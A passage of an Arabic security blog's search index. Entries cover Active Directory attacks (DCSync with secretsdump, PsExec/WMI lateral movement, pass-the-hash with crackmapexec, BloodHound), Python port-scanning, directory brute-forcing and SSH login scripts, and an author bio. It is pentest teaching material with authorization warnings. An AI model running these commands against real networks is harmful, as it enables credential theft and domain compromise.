DCSync\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eimpacket-secretsdump corp.local/admin:pass@dc.corp.local -just-dc\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eتحذير:\u003c/strong\u003e استخدم هذه الأدوات في بيئات مخصصة للتدريب والاختبار المرخص فقط.\u003c/p\u003e","title":"هجمات الأكتيف داريكتوري"},{"content":"الحركة الجانبية تعني الانتقال من جهاز لآخر داخل الشبكة بعد الاختراق الأولي.\nPsExec أداة كلاسيكية لتنفيذ أوامر عن بُعد.\nimpacket-psexec corp.local/admin:pass@10.10.10.2 cmd.exe WMI بديل أقل ضجيجاً من PsExec.\nimpacket-wmiexec corp.local/admin:pass@10.10.10.2 SMB / Pass-the-Hash # لا تحتاج كلمة السر — يكفي الهاش crackmapexec smb 10.10.10.0/24 -u admin -H NTLM_HASH ملاحظة: هذه الأدوات تترك آثاراً في سجلات Windows Event Logs.\n","permalink":"https://cyberah-blog.pages.dev/notes/active-directory/lateral-movement/","summary":"\u003cp\u003eالحركة الجانبية تعني الانتقال من جهاز لآخر داخل الشبكة بعد الاختراق الأولي.\u003c/p\u003e\n\u003ch2 id=\"psexec\"\u003ePsExec\u003c/h2\u003e\n\u003cp\u003eأداة كلاسيكية لتنفيذ أوامر عن بُعد.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eimpacket-psexec corp.local/admin:pass@10.10.10.2 cmd.exe\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"wmi\"\u003eWMI\u003c/h2\u003e\n\u003cp\u003eبديل أقل ضجيجاً من PsExec.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eimpacket-wmiexec corp.local/admin:pass@10.10.10.2\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"smb--pass-the-hash\"\u003eSMB / Pass-the-Hash\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# لا تحتاج كلمة السر — يكفي الهاش\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ecrackmapexec smb 10.10.10.0/24 -u admin -H NTLM_HASH\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eملاحظة:\u003c/strong\u003e هذه الأدوات تترك آثاراً في سجلات Windows Event Logs.\u003c/p\u003e\n\u003c/blockquote\u003e","title":"الحركة الجانبية في الشبكة"},{"content":"BloodHound أداة تحلّل علاقات الأكتيف داريكتوري وترسم أقصر مسار للوصول لـ Domain Admin.\nجمع البيانات # SharpHound — جمع البيانات من الدومين ./SharpHound.exe -c All # أو عبر بايثون (بدون تنفيذ على الجهاز) bloodhound-python -u user -p pass -d corp.local -dc dc.corp.local -c All تحليل النتائج بعد رفع الملفات لـ BloodHound GUI:\nابحث عن Shortest Path to Domain Admin انظر الـ ACL Abuse paths راجع Kerberoastable Users فائدة: BloodHound يوفر ساعات من التحليل اليدوي ويكشف مسارات غير واضحة.\n","permalink":"https://cyberah-blog.pages.dev/notes/active-directory/bloodhound/","summary":"\u003cp\u003eBloodHound أداة تحلّل علاقات الأكتيف داريكتوري وترسم أقصر مسار للوصول لـ Domain Admin.\u003c/p\u003e\n\u003ch2 id=\"جمع-البيانات\"\u003eجمع البيانات\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# SharpHound — جمع البيانات من الدومين\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e./SharpHound.exe -c All\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# أو عبر بايثون (بدون تنفيذ على الجهاز)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ebloodhound-python -u user -p pass -d corp.local -dc dc.corp.local -c All\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"تحليل-النتائج\"\u003eتحليل النتائج\u003c/h2\u003e\n\u003cp\u003eبعد رفع الملفات لـ BloodHound GUI:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eابحث عن \u003cstrong\u003eShortest Path to Domain Admin\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eانظر الـ \u003cstrong\u003eACL Abuse\u003c/strong\u003e paths\u003c/li\u003e\n\u003cli\u003eراجع \u003cstrong\u003eKerberoastable Users\u003c/strong\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eفائدة:\u003c/strong\u003e BloodHound يوفر ساعات من التحليل اليدوي ويكشف مسارات غير واضحة.\u003c/p\u003e","title":"BloodHound — رسم مسارات الهجوم"},{"content":"","permalink":"https://cyberah-blog.pages.dev/stats/","summary":"","title":"إحصائيات المدونة"},{"content":"","permalink":"https://cyberah-blog.pages.dev/hall-of-fame/","summary":"","title":"قاعة المشاهير"},{"content":" ⚡ Cyberah أيهم عثمان — مختبر اختراق | باحث أمني | مدرب 5+ CVEs OSCP OSWE +3 سنوات خبرة نبذة عني أيهم عثمان، المعروف بلقب Cyberah في مجتمع الأمن السيبراني، مختبر اختراق متمرس بخبرة تمتد لأكثر من ثلاث سنوات في تنفيذ اختبارات اختراق متقدمة ومهام Red Team للشركات المحلية والعالمية.\nيحمل شهادات معتمدة عالمياً منها OSCP، OSWE، و eWPTXv2، بالإضافة إلى الاعتماد التركي للأمن السيبراني. كما يمتلك سجلاً في البحث الأمني بأكثر من 5 ثغرات (CVEs) منشورة باسمه، من بينها ثغرات حرجة من نوع Remote Code Execution.\nإلى جانب عمله الميداني، يمتلك خبرة كمدرب ومحاضر — قام بتدريب مئات الطلاب وشارك في مؤتمرات وورش عمل في تركيا واليمن وسوريا. كما أنه صانع محتوى نشط على يوتيوب وإنستغرام يشارك فيه شغفه وخبراته.\n🏆 الشهادات المهنية OSCP Offensive Security Certified Professional OSWE Offensive Security Web Expert eWPTXv2 eLearnSecurity Web Application Penetration Tester eXtreme CRTO Certified Red Team Operator TSE — Sızma Testi Uzmanı هيئة المعايير التركية — خبير اختبار الاختراق 🔴 ثغرات منشورة (CVEs) CVE-2026-40484 RCE — Critical Remote Code Execution CVE-2026-40483 CVE CVE-2026-40485 CVE CVE-2026-40581 CVE CVE-2026-40593 CVE 🚩 مسابقات CTF 🇸🇦 BlackHat Saudi Arabia — Final 2025 المملكة العربية السعودية Finalist 🇹🇷 Konya HackMe CTF قونيا، تركيا Competitor 🎤 المحاضرات والمؤتمرات 🇹🇷 جامعة Atlas — إسطنبول، تركيا Cyber 101 — مقدمة في الأمن السيبراني 🇹🇷 Ibtikar Assembly — تركيا Cyber 101 — مقدمة في الأمن السيبراني 🇹🇷 Ibtikar Assembly — تركيا Uygulamalı Hack — الاختراق التطبيقي 🇹🇷 جامعة Gelişim — تركيا Cyber 101 — مقدمة في الأمن السيبراني 🇹🇷 ENG Pi — طلاب الهندسة، تركيا كيف تبدأ في الأمن الهجومي؟ — جلسة أسئلة وأجوبة 🇾🇪 Dev Zone — اليمن الهندسة الاجتماعية — Social Engineering Sanad — سوريا Cyber 101 + ما هي شهادة OSCP وكيف تحصل عليها 📚 المحتوى والإصدارات 📖 دليلك الشامل لـ Nmap كتاب تقني مؤلف من 8 أجزاء — تغطية شاملة لأداة Nmap 🎓 كورس التحضير لشهادة OSCP 4 أجزاء | +40 ساعة فيديو وتمارين عملية | ZeroStrike Academy academy.zerostrike.net ↗ 🌐 التواصل ayhanbasyildiz@gmail.com YouTube Instagram X (Twitter) LinkedIn GitHub ","permalink":"https://cyberah-blog.pages.dev/about/","summary":"\u003cdiv class=\"cv-profile\"\u003e\n  \u003cdiv class=\"cv-profile-avatar\"\u003e⚡\u003c/div\u003e\n  \u003cdiv class=\"cv-profile-info\"\u003e\n    \u003cdiv class=\"cv-profile-name\"\u003eCyberah\u003c/div\u003e\n    \u003cdiv class=\"cv-profile-title\"\u003eأيهم عثمان — مختبر اختراق | باحث أمني | مدرب\u003c/div\u003e\n    \u003cdiv class=\"cv-profile-tags\"\u003e\n      \u003cspan class=\"cv-tag red\"\u003e5+ CVEs\u003c/span\u003e\n      \u003cspan class=\"cv-tag\"\u003eOSCP\u003c/span\u003e\n      \u003cspan class=\"cv-tag\"\u003eOSWE\u003c/span\u003e\n      \u003cspan class=\"cv-tag\"\u003e+3 سنوات خبرة\u003c/span\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\n\u003chr\u003e\n\u003ch2 id=\"نبذة-عني\"\u003eنبذة عني\u003c/h2\u003e\n\u003cp\u003eأيهم عثمان، المعروف بلقب \u003cstrong\u003eCyberah\u003c/strong\u003e في مجتمع الأمن السيبراني، مختبر اختراق متمرس بخبرة تمتد لأكثر من ثلاث سنوات في تنفيذ اختبارات اختراق متقدمة ومهام Red Team للشركات المحلية والعالمية.\u003c/p\u003e\n\u003cp\u003eيحمل شهادات معتمدة عالمياً منها OSCP، OSWE، و eWPTXv2، بالإضافة إلى الاعتماد التركي للأمن السيبراني. كما يمتلك سجلاً في البحث الأمني بأكثر من 5 ثغرات (CVEs) منشورة باسمه، من بينها ثغرات حرجة من نوع Remote Code Execution.\u003c/p\u003e","title":"من أنا"},{"content":"لماذا Python للأمن السيبراني؟ Python هي اللغة الأولى لمحترفي الأمن السيبراني لأسباب عديدة:\nمكتبات غنية: socket, requests, scapy, paramiko كتابة سريعة: تكتب أداة في ساعة بدلاً من يوم مجتمع ضخم: معظم أدوات الأمن مكتوبة بها أساسيات مهمة للهاكرز التعامل مع الشبكة import socket # فحص منفذ بسيط def check_port(host, port, timeout=1): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) result = sock.connect_ex((host, port)) sock.close() return result == 0 # True = open except socket.error: return False # مثال على استخدامه target = \u0026#34;192.168.1.1\u0026#34; for port in range(1, 1025): if check_port(target, port): print(f\u0026#34;[+] Port {port} is OPEN\u0026#34;) Port Scanner بسيط import socket import concurrent.futures def scan_port(args): host, port = args try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(0.5) result = sock.connect_ex((host, port)) sock.close() if result == 0: try: service = socket.getservbyport(port) except Exception: service = \u0026#34;unknown\u0026#34; return port, service except Exception: pass return None def fast_scan(host, start=1, end=1024): print(f\u0026#34;[*] Scanning {host}...\u0026#34;) open_ports = [] with concurrent.futures.ThreadPoolExecutor(max_workers=100) as executor: results = executor.map(scan_port, [(host, p) for p in range(start, end+1)]) for result in results: if result: port, service = result print(f\u0026#34;[+] {port}/tcp OPEN {service}\u0026#34;) open_ports.append(port) return open_ports if __name__ == \u0026#34;__main__\u0026#34;: fast_scan(\u0026#34;192.168.1.1\u0026#34;) HTTP Requests للاستطلاع import requests from concurrent.futures import ThreadPoolExecutor # Directory brute-forcing بسيط def check_path(url, path): full_url = f\u0026#34;{url}/{path}\u0026#34; try: resp = requests.get(full_url, timeout=3, allow_redirects=False) if resp.status_code not in [404, 403]: return full_url, resp.status_code except requests.RequestException: pass return None def dir_bruteforce(url, wordlist_path): with open(wordlist_path) as f: words = [line.strip() for line in f if line.strip()] print(f\u0026#34;[*] Scanning {url} with {len(words)} words...\u0026#34;) with ThreadPoolExecutor(max_workers=20) as executor: results = executor.map(lambda w: check_path(url, w), words) for result in results: if result: url, code = result print(f\u0026#34;[{code}] {url}\u0026#34;) dir_bruteforce(\u0026#34;http://target.com\u0026#34;, \u0026#34;/usr/share/wordlists/dirb/common.txt\u0026#34;) Subprocess — تشغيل الأوامر import subprocess import shlex def run_nmap(target): cmd = f\u0026#34;nmap -sV -sC --top-ports 100 {target}\u0026#34; result = subprocess.run( shlex.split(cmd), capture_output=True, text=True, timeout=120 ) return result.stdout output = run_nmap(\u0026#34;192.168.1.1\u0026#34;) print(output) مكتبة Paramiko للـ SSH import paramiko def ssh_connect(host, username, password, port=22): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(host, port=port, username=username, password=password, timeout=5) stdin, stdout, stderr = client.exec_command(\u0026#34;id \u0026amp;\u0026amp; hostname\u0026#34;) print(stdout.read().decode()) client.close() return True except paramiko.AuthenticationException: return False except Exception as e: print(f\u0026#34;Error: {e}\u0026#34;) return False المشاريع الموصى بها للتعلم Port Scanner ← ابدأ هنا Subdomain Enumeration tool Web Directory Brute-forcer SSH Brute-force (على أهداف مرخصة فقط!) Packet Sniffer باستخدام Scapy ","permalink":"https://cyberah-blog.pages.dev/programming/python-for-hackers/","summary":"\u003ch2 id=\"لماذا-python-للأمن-السيبراني\"\u003eلماذا Python للأمن السيبراني؟\u003c/h2\u003e\n\u003cp\u003ePython هي اللغة الأولى لمحترفي الأمن السيبراني لأسباب عديدة:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eمكتبات غنية\u003c/strong\u003e: socket, requests, scapy, paramiko\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eكتابة سريعة\u003c/strong\u003e: تكتب أداة في ساعة بدلاً من يوم\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eمجتمع ضخم\u003c/strong\u003e: معظم أدوات الأمن مكتوبة بها\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"أساسيات-مهمة-للهاكرز\"\u003eأساسيات مهمة للهاكرز\u003c/h2\u003e\n\u003ch3 id=\"التعامل-مع-الشبكة\"\u003eالتعامل مع الشبكة\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003esocket\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# فحص منفذ بسيط\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003echeck_port\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehost\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eport\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003etimeout\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003etry\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003esock\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esocket\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esocket\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esocket\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAF_INET\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003esocket\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSOCK_STREAM\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003esock\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esettimeout\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etimeout\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eresult\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esock\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003econnect_ex\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003ehost\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eport\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003esock\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eresult\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# True = open\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eexcept\u003c/span\u003e \u003cspan class=\"n\"\u003esocket\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"kc\"\u003eFalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# مثال على استخدامه\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003etarget\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;192.168.1.1\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003eport\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"nb\"\u003erange\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e1025\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003echeck_port\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etarget\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eport\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nb\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;[+] Port \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eport\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e is OPEN\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"port-scanner-بسيط\"\u003ePort Scanner بسيط\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003esocket\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003econcurrent.futures\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003escan_port\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003ehost\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eport\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eargs\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003etry\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003esock\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esocket\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esocket\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esocket\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAF_INET\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003esocket\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSOCK_STREAM\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003esock\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esettimeout\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eresult\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esock\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003econnect_ex\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003ehost\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eport\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003esock\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003eresult\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003etry\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"n\"\u003eservice\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esocket\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egetservbyport\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eport\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003eexcept\u003c/span\u003e \u003cspan class=\"ne\"\u003eException\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"n\"\u003eservice\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;unknown\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eport\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eservice\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eexcept\u003c/span\u003e \u003cspan class=\"ne\"\u003eException\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003epass\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"kc\"\u003eNone\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan 